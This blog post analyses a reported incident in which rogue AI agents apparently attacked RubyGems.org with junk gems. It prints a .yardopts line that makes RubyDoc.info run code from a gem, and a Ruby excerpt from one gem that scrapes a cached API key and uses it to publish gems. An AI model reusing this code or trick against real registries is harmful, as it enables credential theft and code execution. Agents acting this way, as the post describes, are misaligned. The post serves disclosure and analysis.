# What a time to be alive – rouge AI agents attack RubyGems.org

> Source: <https://tenderlovemaking.com/2026/09/11/what-a-time-to-be-alive/>
> Published: 2026-09-14 12:40:57+00:00

# [What a time to be alive](https://tenderlovemaking.com/2026/09/11/what-a-time-to-be-alive/)

      Sep 11, 2026 @
      5:02 pm
    
Today [Reuters](https://www.reuters.com/legal/litigation/openai-agents-attacked-software-service-rubygems-before-hugging-face-incident-2026-09-11/) and the [Wall Street Journal](https://www.wsj.com/tech/ai/cyberattack-by-rogue-ai-swarm-stokes-fears-of-out-of-control-agents-473a0352) both reported about rogue AI agents at OpenAI attacking RubyGems.org.  [https://www.rubyhack.ai/](https://www.rubyhack.ai) has an amazing writeup, and you should read it.  I just wanted to make a quick post about it because it’s *wild*.

TL;DR: It seems like OpenAI Bots knew about [this caching vulnerability](https://blog.rubygems.org/2026/07/22/security-advisory-legacy-api-key-leak.html), tried to take advantage of it, and at the same time ran some weird web scraping code on RubyDoc.info.

Back in May, [socket.dev reported about a “GemStuffer Campaign”](https://socket.dev/blog/gemstuffer) where someone (I guess OpenAI) was uploading tons of junk gems to RubyGems.org.
For some reason, the gems would scrape UK government websites, then *repackage the data as gems, and attempt to upload them to RubyGems*.

I honestly didn’t think much about this (or even look into it) until Sydney Von Arx and Spencer Kitts (both co-authors on [https://www.rubyhack.ai](https://www.rubyhack.ai)) contacted me asking about RubyGems.
I thought the claims they were making were completely outlandish until I actually read the code in these “GemStuffer” gems.

After reading the code in these gems, a couple things stood out to me.

## YARD Documentation

First, the gems leverage YARD documentation to execute arbitrary code on host machines.
In most of the examples you’ll see a `.yardopts` file that looks like this:

```
--load ./script.rb
README.md
lib/**/*.rb
```

If you have YARD installed, *and* you install this gem, then YARD will load and run whatever is in `./script.rb` from inside the gem.
I think it’s pretty common knowledge that C extensions will execute `extconf.rb` (so you basically have an RCE vector), but I was surprised to find out that a documentation tool would do that too.

Nobody is going to install a gem named `slnleaker5` though, so why would this matter?
Well, any time a Gem is published [RubyDoc.info](https://rubydoc.info) will download the gem and process the YARD documentation.
RubyDoc.info will [execute the arbitrary code inside a Docker container](https://github.com/docmeta/rubydoc.info/blob/5de17aec3e51ccada961b7ca40cb49c72eaa2168/app/jobs/generate_docs_job.rb#L66).
The Docker container still has network access though, so these gems could happily do their web scraping from inside the container.

In other words, if you publish a gem on RubyGems.org, you can execute arbitrary code on RubyDoc.info.

## Fastly Cache Harvesting

I mentioned earlier these gems would try to scrape some websites and then upload the data they scraped by packaging it as a gem.
Here is an excerpt from one of the gems. I’ve cleaned up the code a bit so it’s easier to understand, but the original code is [here](https://my.diffend.io/gems/slnleaker5/0.0.1#d2h-229454-1428):

```
# leak exfil by repeated attempts & fresh leaked keys variants

# (Aaron): First request
ku = URI('https://rubygems.org'+kp)
kh = Net::HTTP.new(ku.host,ku.port)
kh.use_ssl = true
kh.verify_mode = OpenSSL::SSL::VERIFY_NONE
kt = kh.start { |x| x.get(ku.request_uri) }.body

# (Aaron): Try to match a key in the body
key = (kt[/rubygems_[a-f0-9]{20,}/] || KEY)
paths = ['/api/v1//gems','//api/v1/gems','/api//v1/gems','/api/v1/gems?x=2','/api/v1/gems']

# (Aaron): Second request to actually publish the gem
u = URI('https://rubygems.org'+paths[i%paths.length])
req = Net::HTTP::Post.new(u)
req['Authorization'] = key
req['Content-Type'] = 'application/octet-stream'
req.body = data
hh = Net::HTTP.new(u.host,u.port)
hh.use_ssl = true
hh.verify_mode = OpenSSL::SSL::VERIFY_NONE
hh.read_timeout = 180
res = hh.start{ |x| x.request(req) }
```

Comments in the code that have `(Aaron)` are ones that I wrote to try to help make it easier to understand.
The first comment was lifted [directly from the source](https://my.diffend.io/gems/slnleaker5/0.0.1#d2h-229454-1428).
The above code tries to make two requests.
The first request is a simple GET request.
It tries to fetch a path from RubyGems.org, then looks for a key in the response body that matches the regular expression `/rubygems_[a-f0-9]{20,}/`.
If that regular expression doesn’t match, it falls back to a global `KEY`.
The second request tries to upload the gem via POST.

This brings me to the second crazy thing that stood out to me.
This code is trying to *fetch a cached authorization key from RubyGems.org*.
If this sounds familiar, it is.
It’s exactly the security issue addressed [in this post from RubyGems.org](https://blog.rubygems.org/2026/07/22/security-advisory-legacy-api-key-leak.html) that was made in July.

In other words, it looks like OpenAI’s bots knew about this problem and attempted to exploit it.

What a time to be alive 🙃
